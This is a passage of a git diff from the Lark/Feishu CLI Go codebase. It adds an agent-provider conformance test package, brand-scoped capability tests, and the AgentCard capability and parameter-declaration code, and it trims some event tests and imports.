payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_test_text",
|
||||
"event_type": "im.message.receive_v1",
|
||||
"create_time": "1776409469273",
|
||||
"app_id": "cli_test"
|
||||
},
|
||||
"event": {
|
||||
"sender": {
|
||||
"sender_type": "user",
|
||||
"sender_id": {"open_id": "ou_sender"}
|
||||
},
|
||||
"message": {
|
||||
"message_id": "om_text_001",
|
||||
"chat_id": "oc_chat",
|
||||
"chat_type": "p2p",
|
||||
"message_type": "text",
|
||||
"create_time": "1776409468987",
|
||||
"update_time": "1776409468987",
|
||||
"content": "{\"text\":\"hello there\"}"
|
||||
}
|
||||
}
|
||||
}`
|
||||
outMap := runReceiveMap(t, payload)
|
||||
|
||||
if _, ok := outMap["update_time"]; ok {
|
||||
t.Errorf("update_time should be omitted when it equals create_time: %#v", outMap)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessImMessageReceive_Interactive(t *testing.T) {
|
||||
@@ -258,22 +188,3 @@ func runReceive(t *testing.T, payload string) ImMessageReceiveOutput {
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func runReceiveMap(t *testing.T, payload string) map[string]interface{} {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventID: "ev_test",
|
||||
EventType: "im.message.receive_v1",
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processImMessageReceive(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process error: %v", err)
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("Process output is not valid JSON: %v\nraw=%s", err, string(got))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
@@ -5,8 +5,6 @@
|
||||
package events
|
||||
|
||||
import (
|
||||
"github.com/larksuite/cli/events/application"
|
||||
"github.com/larksuite/cli/events/approval"
|
||||
"github.com/larksuite/cli/events/im"
|
||||
"github.com/larksuite/cli/events/minutes"
|
||||
"github.com/larksuite/cli/events/task"
|
||||
@@ -18,8 +16,6 @@ import (
|
||||
// Mail is intentionally omitted in this phase.
|
||||
func init() {
|
||||
all := [][]event.KeyDefinition{
|
||||
application.Keys(),
|
||||
approval.Keys(),
|
||||
im.Keys(),
|
||||
minutes.Keys(),
|
||||
task.Keys(),
|
||||
|
||||
249
internal/agents/agenttest/agenttest.go
Normal file
249
internal/agents/agenttest/agenttest.go
Normal file
@@ -0,0 +1,249 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agenttest provides provider conformance tests: a new integrator calls
|
||||
// RunConformance in its own test to lock down registration metadata, offline
|
||||
// resolution, the mandatory core hooks, and single-sourced card derivation. All
|
||||
// assertions run offline (no runtime, no API calls).
|
||||
package agenttest
|
||||
|
||||
import (
|
||||
"context"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// CheckParamsBinding locks the declaration↔consumption contract for one
|
||||
// operation: every `param:"name"` tag on T must reference a parameter declared
|
||||
// on that verb, and the field kind must be compatible with the declared Type
|
||||
// (string↔string, int/int64↔integer, float64↔number, bool↔boolean). A provider
|
||||
// using BindParams[T] calls this once per binding struct in its own tests, so
|
||||
// a renamed/retyped declaration fails CI instead of silently zero-valuing at
|
||||
// runtime.
|
||||
func CheckParamsBinding[T any](t *testing.T, spec *agents.AgentSpec, verb string) {
|
||||
t.Helper()
|
||||
op, ok := spec.Op(verb)
|
||||
if !ok {
|
||||
t.Fatalf("params binding: unknown verb %q", verb)
|
||||
}
|
||||
var zero T
|
||||
rt := reflect.TypeOf(zero)
|
||||
if rt == nil || rt.Kind() != reflect.Struct {
|
||||
t.Fatalf("params binding: %T is not a struct", zero)
|
||||
}
|
||||
checkBindingLevel(t, rt, op.Params, verb, "")
|
||||
}
|
||||
|
||||
// checkBindingLevel walks one struct level against one declaration level; a
|
||||
// nested struct field recurses into the matching object param's Fields.
|
||||
func checkBindingLevel(t *testing.T, rt reflect.Type, declaredParams []agents.CardParam, verb, where string) {
|
||||
t.Helper()
|
||||
declared := make(map[string]agents.CardParam, len(declaredParams))
|
||||
for _, p := range declaredParams {
|
||||
declared[p.Name] = p
|
||||
}
|
||||
for i := 0; i < rt.NumField(); i++ {
|
||||
f := rt.Field(i)
|
||||
tag := f.Tag.Get("param")
|
||||
if tag == "" || tag == "-" {
|
||||
continue
|
||||
}
|
||||
if !f.IsExported() {
|
||||
t.Errorf("params binding: field %s%s is unexported but tagged param %q (BindParams cannot set it)", where, f.Name, tag)
|
||||
continue
|
||||
}
|
||||
cp, ok := declared[tag]
|
||||
if !ok {
|
||||
t.Errorf("params binding: field %s%s tags param %q which %s does not declare", where, f.Name, tag, verb)
|
||||
continue
|
||||
}
|
||||
if f.Type.Kind() == reflect.Struct {
|
||||
if cp.Type != "object" {
|
||||
t.Errorf("params binding: field %s%s is a struct but param %q is declared %q (want object)", where, f.Name, tag, cp.Type)
|
||||
continue
|
||||
}
|
||||
checkBindingLevel(t, f.Type, cp.Fields, verb, where+tag+".")
|
||||
continue
|
||||
}
|
||||
typ := cp.Type
|
||||
if typ == "" {
|
||||
typ = "string"
|
||||
}
|
||||
compatible := map[string][]reflect.Kind{
|
||||
"string": {reflect.String},
|
||||
"integer": {reflect.Int, reflect.Int64},
|
||||
"number": {reflect.Float64},
|
||||
"boolean": {reflect.Bool},
|
||||
}[typ]
|
||||
okKind := false
|
||||
for _, k := range compatible {
|
||||
if f.Type.Kind() == k {
|
||||
okKind = true
|
||||
}
|
||||
}
|
||||
if !okKind {
|
||||
t.Errorf("params binding: field %s%s (%s) is incompatible with param %q declared type %q", where, f.Name, f.Type.Kind(), tag, typ)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// RunConformance runs the full set of conformance assertions against a
|
||||
// registered scheme. sampleAgentID must be a valid agent id (catalog: an id from
|
||||
// the Catalog; instance: any non-empty id).
|
||||
func RunConformance(t *testing.T, scheme, sampleAgentID string) {
|
||||
t.Helper()
|
||||
prov, ok := agents.Info(scheme)
|
||||
if !ok {
|
||||
t.Fatalf("conformance: scheme %q not registered (the top-level agent package must be imported to trigger init registration)", scheme)
|
||||
}
|
||||
|
||||
t.Run("metadata", func(t *testing.T) {
|
||||
if prov.Scheme != scheme {
|
||||
t.Errorf("conformance: Provider.Scheme should be %q, got %q", scheme, prov.Scheme)
|
||||
}
|
||||
if prov.Label == "" {
|
||||
t.Error("conformance: Provider.Label must not be empty")
|
||||
}
|
||||
if prov.AgentIDSource == "" {
|
||||
t.Error("conformance: Provider.AgentIDSource must not be empty")
|
||||
}
|
||||
if len(prov.Identities) == 0 {
|
||||
t.Error("conformance: Identities must not be empty")
|
||||
}
|
||||
for i, id := range prov.Identities {
|
||||
if id.Type != agents.IdentityUser && id.Type != agents.IdentityBot {
|
||||
t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
|
||||
}
|
||||
}
|
||||
// Exactly one of Catalog / Instance is set (Register enforces; re-assert).
|
||||
if (len(prov.Catalog) > 0) == (prov.Instance != nil) {
|
||||
t.Error("conformance: exactly one of Catalog / Instance must be set")
|
||||
}
|
||||
seen := make(map[string]bool, len(prov.RequiredScopes))
|
||||
for _, s := range prov.RequiredScopes {
|
||||
if seen[s] {
|
||||
t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
|
||||
}
|
||||
seen[s] = true
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("lookup", func(t *testing.T) {
|
||||
gotProv, spec, agentID, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: LookupSpec(%s:%s) offline should succeed, got %v", scheme, sampleAgentID, err)
|
||||
}
|
||||
if gotProv.Scheme != scheme {
|
||||
t.Errorf("conformance: LookupSpec provider scheme should be %q, got %q", scheme, gotProv.Scheme)
|
||||
}
|
||||
if agentID != sampleAgentID {
|
||||
t.Errorf("conformance: LookupSpec should echo the agent id %q, got %q", sampleAgentID, agentID)
|
||||
}
|
||||
// Core operations are mandatory (the command layer dispatches them without
|
||||
// a nil-check); Register enforces this at registration, re-assert here.
|
||||
if spec.Send.Handler == nil {
|
||||
t.Error("conformance: spec.Send (core) must be wired")
|
||||
}
|
||||
if spec.GetTask.Handler == nil {
|
||||
t.Error("conformance: spec.GetTask (core) must be wired")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("card", func(t *testing.T) {
|
||||
buildCard := func() *agents.AgentCard {
|
||||
t.Helper()
|
||||
_, spec, agentID, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: LookupSpec returned error: %v", err)
|
||||
}
|
||||
// rt=nil: the guaranteed-offline card (caps + registration + static
|
||||
// metadata). Describe enrichment is never exercised here.
|
||||
return agents.BuildCard(context.Background(), prov, spec, agentID, core.BrandFeishu, nil)
|
||||
}
|
||||
card := buildCard()
|
||||
if card.Provider != scheme {
|
||||
t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
|
||||
}
|
||||
if card.AgentID != sampleAgentID {
|
||||
t.Errorf("conformance: Card.AgentID should echo the input %q, got %q", sampleAgentID, card.AgentID)
|
||||
}
|
||||
if card.ProviderLabel != prov.Label {
|
||||
t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", prov.Label, card.ProviderLabel)
|
||||
}
|
||||
if !reflect.DeepEqual(card.Identity, prov.Identities) {
|
||||
t.Errorf("conformance: Card.Identity should match the registered Identities, expected %+v got %+v", prov.Identities, card.Identity)
|
||||
}
|
||||
if card.AgentIDSource != prov.AgentIDSource {
|
||||
t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", prov.AgentIDSource, card.AgentIDSource)
|
||||
}
|
||||
if card.HasParameters == nil {
|
||||
t.Error("conformance: Card.HasParameters must not be nil (always emitted, empty is [])")
|
||||
}
|
||||
if !card.Capabilities.TaskGet {
|
||||
t.Error("conformance: task_get must be true (GetTask is a mandatory core hook)")
|
||||
}
|
||||
// Single-sourcing: two independent offline builds must DeepEqual.
|
||||
if card2 := buildCard(); !reflect.DeepEqual(card, card2) {
|
||||
t.Errorf("conformance: two offline BuildCard results should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("params", func(t *testing.T) {
|
||||
_, spec, _, err := agents.LookupSpec(scheme + ":" + sampleAgentID)
|
||||
if err != nil {
|
||||
t.Fatalf("conformance: LookupSpec returned error: %v", err)
|
||||
}
|
||||
// has_parameters must agree with the per-op declarations (single source).
|
||||
has := map[string]bool{}
|
||||
for _, v := range agents.HasParameters(spec) {
|
||||
has[v] = true
|
||||
}
|
||||
for _, o := range spec.Ops() {
|
||||
if want := o.Wired && len(o.Params) > 0; has[o.Verb] != want {
|
||||
t.Errorf("conformance: has_parameters[%s]=%v disagrees with the op declaration (wired=%v, %d params)",
|
||||
o.Verb, has[o.Verb], o.Wired, len(o.Params))
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
if prov.Kind() == agents.KindCatalog {
|
||||
t.Run("enumeration", func(t *testing.T) {
|
||||
list := prov.ListCatalog(core.BrandFeishu)
|
||||
wantRef := scheme + ":" + sampleAgentID
|
||||
found := false
|
||||
for i, a := range list {
|
||||
r, err := agents.ParseRef(a.AgentRef)
|
||||
if err != nil {
|
||||
t.Errorf("conformance: ListCatalog[%d].AgentRef %q should be parseable: %v", i, a.AgentRef, err)
|
||||
continue
|
||||
}
|
||||
if r.Scheme != scheme {
|
||||
t.Errorf("conformance: ListCatalog[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
|
||||
}
|
||||
if a.Name == "" {
|
||||
t.Errorf("conformance: ListCatalog[%d] (%s) Name must not be empty", i, a.AgentRef)
|
||||
}
|
||||
if a.AgentRef == wantRef {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected %q), got %+v", wantRef, list)
|
||||
}
|
||||
// stable, sorted by AgentRef.
|
||||
list2 := prov.ListCatalog(core.BrandFeishu)
|
||||
if !reflect.DeepEqual(list, list2) {
|
||||
t.Errorf("conformance: two ListCatalog results should DeepEqual (stable), got\n%+v\nvs\n%+v", list, list2)
|
||||
}
|
||||
for i := 1; i < len(list); i++ {
|
||||
if strings.Compare(list[i-1].AgentRef, list[i].AgentRef) > 0 {
|
||||
t.Errorf("conformance: ListCatalog should be sorted by AgentRef, got %q before %q", list[i-1].AgentRef, list[i].AgentRef)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
109
internal/agents/brand_test.go
Normal file
109
internal/agents/brand_test.go
Normal file
@@ -0,0 +1,109 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// TestDeriveCapabilitiesBrandScoped pins the brand-aware matrix: a wired op that
|
||||
// declares Brands is a live capability only under a listed brand. reporter-like
|
||||
// spec wires CancelTask feishu-only, so task_cancel is true under feishu and
|
||||
// false under lark (the op is excluded), while the mandatory task_get (no
|
||||
// Brands) stays true under both.
|
||||
func TestDeriveCapabilitiesBrandScoped(t *testing.T) {
|
||||
s := coreSpec("reporter")
|
||||
s.CancelTask = TaskCancelOp{
|
||||
Brands: []core.LarkBrand{core.BrandFeishu},
|
||||
Handler: func(context.Context, Runtime, string) error { return nil },
|
||||
}
|
||||
|
||||
feishu := DeriveCapabilities(&s, core.BrandFeishu)
|
||||
if !feishu.TaskCancel {
|
||||
t.Error("feishu: task_cancel should be true (wired + feishu-scoped)")
|
||||
}
|
||||
if !feishu.TaskGet {
|
||||
t.Error("feishu: task_get (core, no Brands) should always be true")
|
||||
}
|
||||
|
||||
lark := DeriveCapabilities(&s, core.BrandLark)
|
||||
if lark.TaskCancel {
|
||||
t.Error("lark: task_cancel should be false (op excluded from lark)")
|
||||
}
|
||||
if !lark.TaskGet {
|
||||
t.Error("lark: task_get (core, no Brands) should still be true")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSpecAvailableForBrand pins the whole-agent visibility rule: empty Brands
|
||||
// means every brand; a scoped list restricts to its members.
|
||||
func TestSpecAvailableForBrand(t *testing.T) {
|
||||
empty := coreSpec("a") // no Brands
|
||||
if !SpecAvailableForBrand(&empty, core.BrandFeishu) || !SpecAvailableForBrand(&empty, core.BrandLark) {
|
||||
t.Error("empty Brands should be available under every brand")
|
||||
}
|
||||
|
||||
scoped := coreSpec("b")
|
||||
scoped.Brands = []core.LarkBrand{core.BrandFeishu}
|
||||
if !SpecAvailableForBrand(&scoped, core.BrandFeishu) {
|
||||
t.Error("[feishu] should be available under feishu")
|
||||
}
|
||||
if SpecAvailableForBrand(&scoped, core.BrandLark) {
|
||||
t.Error("[feishu] should NOT be available under lark")
|
||||
}
|
||||
}
|
||||
|
||||
// TestRegisterPanicsInvalidBrand pins the Register-time fail-fast on a bad brand
|
||||
// value in both the whole-agent spec.Brands and a per-op Op.Brands.
|
||||
func TestRegisterPanicsInvalidBrand(t *testing.T) {
|
||||
swapRegistry(t, map[string]Provider{})
|
||||
|
||||
// Whole-agent spec.Brands with a value that is neither feishu nor lark.
|
||||
badSpec := catalogProvider("bs", "a")
|
||||
badSpec.Catalog[0].Brands = []core.LarkBrand{"weibo"}
|
||||
mustPanic(t, "spec invalid Brand", func() { Register(badSpec) })
|
||||
|
||||
// Per-op Op.Brands with a bad value (the op is wired so it is not caught by
|
||||
// the params-on-unwired check first).
|
||||
badOp := catalogProvider("bo", "a")
|
||||
badOp.Catalog[0].CancelTask = TaskCancelOp{
|
||||
Brands: []core.LarkBrand{"nope"},
|
||||
Handler: func(context.Context, Runtime, string) error { return nil },
|
||||
}
|
||||
mustPanic(t, "op invalid Brand", func() { Register(badOp) })
|
||||
}
|
||||
|
||||
// TestListCatalogBrandExclusion pins that ListCatalog(brand) filters out a
|
||||
// whole-agent-scoped spec: a feishu-only agent is listed under feishu but
|
||||
// EXCLUDED under lark, while an unrestricted agent is listed under both.
|
||||
func TestListCatalogBrandExclusion(t *testing.T) {
|
||||
p := Provider{
|
||||
Scheme: "x",
|
||||
Catalog: []AgentSpec{
|
||||
{ID: "all", Name: "all-brands"},
|
||||
{ID: "feishuonly", Name: "feishu-only", Brands: []core.LarkBrand{core.BrandFeishu}},
|
||||
},
|
||||
}
|
||||
has := func(list []AgentSummary, ref string) bool {
|
||||
for _, a := range list {
|
||||
if a.AgentRef == ref {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
if fe := p.ListCatalog(core.BrandFeishu); !has(fe, "x:all") || !has(fe, "x:feishuonly") {
|
||||
t.Errorf("feishu catalog should include both agents, got %v", fe)
|
||||
}
|
||||
la := p.ListCatalog(core.BrandLark)
|
||||
if !has(la, "x:all") {
|
||||
t.Errorf("lark catalog should include the unrestricted agent, got %v", la)
|
||||
}
|
||||
if has(la, "x:feishuonly") {
|
||||
t.Errorf("lark catalog should EXCLUDE the feishu-only agent, got %v", la)
|
||||
}
|
||||
}
|
||||
258
internal/agents/card.go
Normal file
258
internal/agents/card.go
Normal file
@@ -0,0 +1,258 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// capability key constants (the JSON key names in capabilities, also the
|
||||
// capability identifiers used by Supports / capabilityError). Only capabilities
|
||||
// that "can change the AI's next command line and are currently deliverable" are
|
||||
// exposed.
|
||||
const (
|
||||
CapTaskGet = "task_get"
|
||||
CapTaskList = "task_list"
|
||||
CapTaskCancel = "task_cancel"
|
||||
CapInputRequired = "input_required"
|
||||
CapFileInput = "file_input"
|
||||
CapArtifactDownload = "artifact_download"
|
||||
// The three multi-turn (context) verbs are independently wired, so each has
|
||||
// its own capability bit — a provider may support listing sessions without
|
||||
// supporting get or delete. (There is no umbrella "multi_turn" bit: a single
|
||||
// flag cannot honestly represent three separately-deliverable hooks.)
|
||||
CapContextList = "context_list"
|
||||
CapContextGet = "context_get"
|
||||
CapContextDelete = "context_delete"
|
||||
)
|
||||
|
||||
// Capabilities is the closed set of capabilities: making it a struct means an
|
||||
// omitted field is an explicit false and a typo is a compile error. Fields are
|
||||
// ordered by json tag alphabetically so the emitted key order is stable.
|
||||
type Capabilities struct {
|
||||
ArtifactDownload bool `json:"artifact_download"`
|
||||
ContextDelete bool `json:"context_delete"`
|
||||
ContextGet bool `json:"context_get"`
|
||||
ContextList bool `json:"context_list"`
|
||||
FileInput bool `json:"file_input"`
|
||||
InputRequired bool `json:"input_required"`
|
||||
TaskCancel bool `json:"task_cancel"`
|
||||
TaskGet bool `json:"task_get"`
|
||||
TaskList bool `json:"task_list"`
|
||||
}
|
||||
|
||||
// AgentCard is a remote agent's capability card (schema v3, lean): provider
|
||||
// metadata, the supported capability matrix, identity precondition
|
||||
// declarations, and the has_parameters cue. Parameter DETAILS are deliberately
|
||||
// not embedded — they are fetched per operation via `agents card <ref>
|
||||
// --operation <verb>` (or all at once with --operation all); HasParameters
|
||||
// tells the caller which operations need that lookup. Scopes are not in the
|
||||
// card; they are internal registration data for preflight only.
|
||||
type AgentCard struct {
|
||||
Provider string `json:"provider"`
|
||||
ProviderLabel string `json:"provider_label"`
|
||||
AgentID string `json:"agent_id"`
|
||||
// Brand the card was rendered for: the capability matrix is brand-scoped, so
|
||||
// the same agent can honestly show different capabilities under feishu vs
|
||||
// lark. Callers must read the card for the CURRENT brand, not assume it is
|
||||
// cross-brand stable.
|
||||
Brand string `json:"brand"`
|
||||
Name string `json:"name,omitempty"` // dynamic card only
|
||||
Description string `json:"description,omitempty"`
|
||||
Capabilities Capabilities `json:"capabilities"`
|
||||
Identity []IdentitySpec `json:"identity"`
|
||||
// HasParameters lists the verbs that declare business parameters (always
|
||||
// emitted; empty is []). A verb absent here takes no --param at all.
|
||||
HasParameters []string `json:"has_parameters"`
|
||||
// ParametersSource is "template" for an instance provider: the parameter
|
||||
// declarations are template-level approximations shared by every runtime
|
||||
// agent_id — the platform's actual per-agent contract may differ. Empty for
|
||||
// catalog providers (declarations are exact).
|
||||
ParametersSource string `json:"parameters_source,omitempty"`
|
||||
AgentIDSource string `json:"agent_id_source"`
|
||||
Skills []CardSkill `json:"skills,omitempty"`
|
||||
}
|
||||
|
||||
// DeriveCapabilities computes the capability matrix from which AgentSpec
|
||||
// operations are wired AND available for `brand` — the single source of truth
|
||||
// ("implement it = support it"), enumerated through Ops() so the verb↔capability
|
||||
// mapping lives in one table. An op-backed capability is true iff its hook is
|
||||
// wired and the op is not brand-excluded (OpAvailableForBrand); the matrix is
|
||||
// therefore brand-scoped and the same agent may show different capabilities
|
||||
// under feishu vs lark. file_input / input_required are behavioral flags with
|
||||
// no backing operation and stay brand-independent (read straight from the spec).
|
||||
// Send/GetTask are mandatory (Register enforces), so task_get is true unless its
|
||||
// Op.Brands excludes the brand (normally empty ⇒ always true).
|
||||
func DeriveCapabilities(s *AgentSpec, brand core.LarkBrand) Capabilities {
|
||||
w := make(map[string]bool, 8)
|
||||
for _, o := range s.Ops() {
|
||||
w[o.Verb] = o.Wired && OpAvailableForBrand(o.Brands, brand)
|
||||
}
|
||||
return Capabilities{
|
||||
TaskGet: w[VerbTaskGet],
|
||||
TaskList: w[VerbTaskList],
|
||||
TaskCancel: w[VerbTaskCancel],
|
||||
ArtifactDownload: w[VerbArtifactDownload],
|
||||
ContextList: w[VerbContextList],
|
||||
ContextGet: w[VerbContextGet],
|
||||
ContextDelete: w[VerbContextDelete],
|
||||
FileInput: s.FileInput,
|
||||
InputRequired: s.InputRequired,
|
||||
}
|
||||
}
|
||||
|
||||
// HasParameters lists the wired verbs that declare at least one business
|
||||
// parameter (fixed verb order, never nil) — the card's "which operations need
|
||||
// a parameter lookup" cue.
|
||||
func HasParameters(s *AgentSpec) []string {
|
||||
out := []string{}
|
||||
for _, o := range s.Ops() {
|
||||
if o.Wired && len(o.Params) > 0 {
|
||||
out = append(out, o.Verb)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// BuildCard synthesizes an agent's lean Card: registration metadata from the
|
||||
// Provider, the capability matrix from DeriveCapabilities (wired operations),
|
||||
// the has_parameters cue, and the static per-agent metadata from the spec.
|
||||
// When rt != nil AND the spec wires Describe, it best-effort enriches
|
||||
// Name/Description/Skills from the remote — a Describe error is swallowed so
|
||||
// the card degrades to the offline (caps + static) version rather than
|
||||
// hard-failing (the caps matrix is the primary value). Pass rt=nil for the
|
||||
// guaranteed-offline path (card before config init, dry-run). A provider never
|
||||
// assembles its own card or declares its own capability bools. brand scopes the
|
||||
// capability matrix (DeriveCapabilities) and is echoed as card.Brand.
|
||||
func BuildCard(ctx context.Context, p Provider, s *AgentSpec, agentID string, brand core.LarkBrand, rt Runtime) *AgentCard {
|
||||
card := &AgentCard{
|
||||
Provider: p.Scheme,
|
||||
ProviderLabel: p.Label,
|
||||
AgentID: agentID,
|
||||
Brand: string(brand),
|
||||
Name: s.Name,
|
||||
Description: s.Description,
|
||||
Capabilities: DeriveCapabilities(s, brand),
|
||||
Identity: p.Identities,
|
||||
HasParameters: HasParameters(s),
|
||||
AgentIDSource: p.AgentIDSource,
|
||||
Skills: s.Skills,
|
||||
}
|
||||
if p.Kind() == KindInstance {
|
||||
// Honesty label: an instance template's parameter declarations are shared
|
||||
// by every runtime agent_id — approximate, not per-agent exact.
|
||||
card.ParametersSource = "template"
|
||||
}
|
||||
if rt != nil && s.Describe != nil {
|
||||
if info, err := s.Describe(ctx, rt); err == nil && info != nil {
|
||||
if info.Name != "" {
|
||||
card.Name = info.Name
|
||||
}
|
||||
if info.Description != "" {
|
||||
card.Description = info.Description
|
||||
}
|
||||
if info.Skills != nil {
|
||||
card.Skills = info.Skills
|
||||
}
|
||||
}
|
||||
}
|
||||
return card
|
||||
}
|
||||
|
||||
// CardParam declares one business parameter of one operation (used for --param
|
||||
// validation, `agents card --operation` discovery, and error teaching).
|
||||
type CardParam struct {
|
||||
// Name must match ^[a-z][a-z0-9_]{0,63}$ (Register panics otherwise). The
|
||||
// charset is a subset of the meta.next interpolation whitelist, so the key
|
||||
// side of a carried `--param k=v` is safe by construction, and snake→kebab
|
||||
// mapping stays bijective should native flags ever be generated.
|
||||
Name string `json:"name"`
|
||||
// Type is one of string|integer|number|boolean; empty is normalized to
|
||||
// "string" at Register time. It participates in real validation.
|
||||
Type string `json:"type"`
|
||||
Required bool `json:"required"` // required on THIS operation; empty value (`k=`) does not count as provided
|
||||
Desc string `json:"desc,omitempty"`
|
||||
// Enum restricts the value to a closed set (string and integer types only;
|
||||
// for integer every member must parse). Mutually exclusive with Min/Max.
|
||||
Enum []string `json:"enum,omitempty"`
|
||||
// Default is backfilled into rt.Params() when the parameter is absent.
|
||||
// Mutually exclusive with Required; must satisfy Type/Enum/Min/Max.
|
||||
Default string `json:"default,omitempty"`
|
||||
// Min/Max bound numeric types (closed interval, either side optional).
|
||||
Min *float64 `json:"min,omitempty"`
|
||||
Max *float64 `json:"max,omitempty"`
|
||||
|
||||
// Fields declares an object parameter's members (Type MUST be "object", and
|
||||
// an object declares nothing else: no Required/Enum/Default/Min/Max on the
|
||||
// object itself — requiredness, defaults and constraints all live on the
|
||||
// scalar leaves). Leaves are ordinary CardParams (scalars only — no nested
|
||||
// objects this round; a shape that needs deeper nesting should flatten or
|
||||
// wait for the schema evolution slot). On the wire an object travels either
|
||||
// as dotted-path leaves (--param filter.region=east, the primary channel)
|
||||
// or as one JSON value (--param filter='{"region":"east"}', the fallback);
|
||||
// both normalize to flat dotted keys in rt.Params(), so a provider never
|
||||
// sees which channel the caller used.
|
||||
Fields []CardParam `json:"fields,omitempty"`
|
||||
|
||||
// NoCarry opts this parameter out of the meta.next carry: a suggested next
|
||||
// command never carries its given value literally (a required NoCarry param
|
||||
// degrades to a placeholder so the caller supplies a FRESH value). Declare
|
||||
// it on per-call parameters (trace tags, one-shot tokens) that are shared
|
||||
// across operations but must not ride the chain — the carry rule's
|
||||
// same-resource continuity assumption does not hold for them.
|
||||
NoCarry bool `json:"no_carry,omitempty"`
|
||||
// NOTE(reserved): Repeated bool — multi-value parameters (same key given
|
||||
// several times, aggregated in argv order). Not implemented this round; the
|
||||
// duplicate-key error wording is already scoped per-parameter so activating
|
||||
// it later cannot contradict published error semantics.
|
||||
}
|
||||
|
||||
// CardSkill is one skill / scenario declared by a Card (with example usages).
|
||||
type CardSkill struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name,omitempty"`
|
||||
Examples []string `json:"examples,omitempty"`
|
||||
}
|
||||
|
||||
// FieldNamesList returns an object param's field names in declaration order
|
||||
// (teaching errors and suggestions).
|
||||
func (p CardParam) FieldNamesList() []string {
|
||||
out := make([]string, 0, len(p.Fields))
|
||||
for _, f := range p.Fields {
|
||||
out = append(out, f.Name)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Supports reports whether a capability is declared as supported (an unknown key
|
||||
// or a nil card is treated as unsupported).
|
||||
func (c *AgentCard) Supports(capKey string) bool {
|
||||
if c == nil {
|
||||
return false
|
||||
}
|
||||
switch capKey {
|
||||
case CapArtifactDownload:
|
||||
return c.Capabilities.ArtifactDownload
|
||||
case CapFileInput:
|
||||
return c.Capabilities.FileInput
|
||||
case CapInputRequired:
|
||||
return c.Capabilities.InputRequired
|
||||
case CapContextList:
|
||||
return c.Capabilities.ContextList
|
||||
case CapContextGet:
|
||||
return c.Capabilities.ContextGet
|
||||
case CapContextDelete:
|
||||
return c.Capabilities.ContextDelete
|
||||
case CapTaskCancel:
|
||||
return c.Capabilities.TaskCancel
|
||||
case CapTaskGet:
|
||||
return c.Capabilities.TaskGet
|
||||
case CapTaskList:
|
||||
return c.Capabilities.TaskList
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
160
internal/agents/card_test.go
Normal file
160
internal/agents/card_test.go
Normal file
@@ -0,0 +1,160 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agents
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
)
|
||||
|
||||
// fakeRT is a no-op Runtime for exercising BuildCard's rt != nil path.
|
||||
type fakeRT struct{}
|
||||
|
||||
func (fakeRT) AgentID() string { return "" }
|
||||
func (fakeRT) IsBot() bool { return false }
|
||||
func (fakeRT) Params() map[string]string { return nil }
|
||||
func (fakeRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
func (fakeRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func TestCardSupports(t *testing.T) {
|
||||
c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, ContextList: true}}
|
||||
if c.Supports(CapTaskCancel) {
|
||||
t.Error("task_cancel should not be supported")
|
||||
}
|
||||
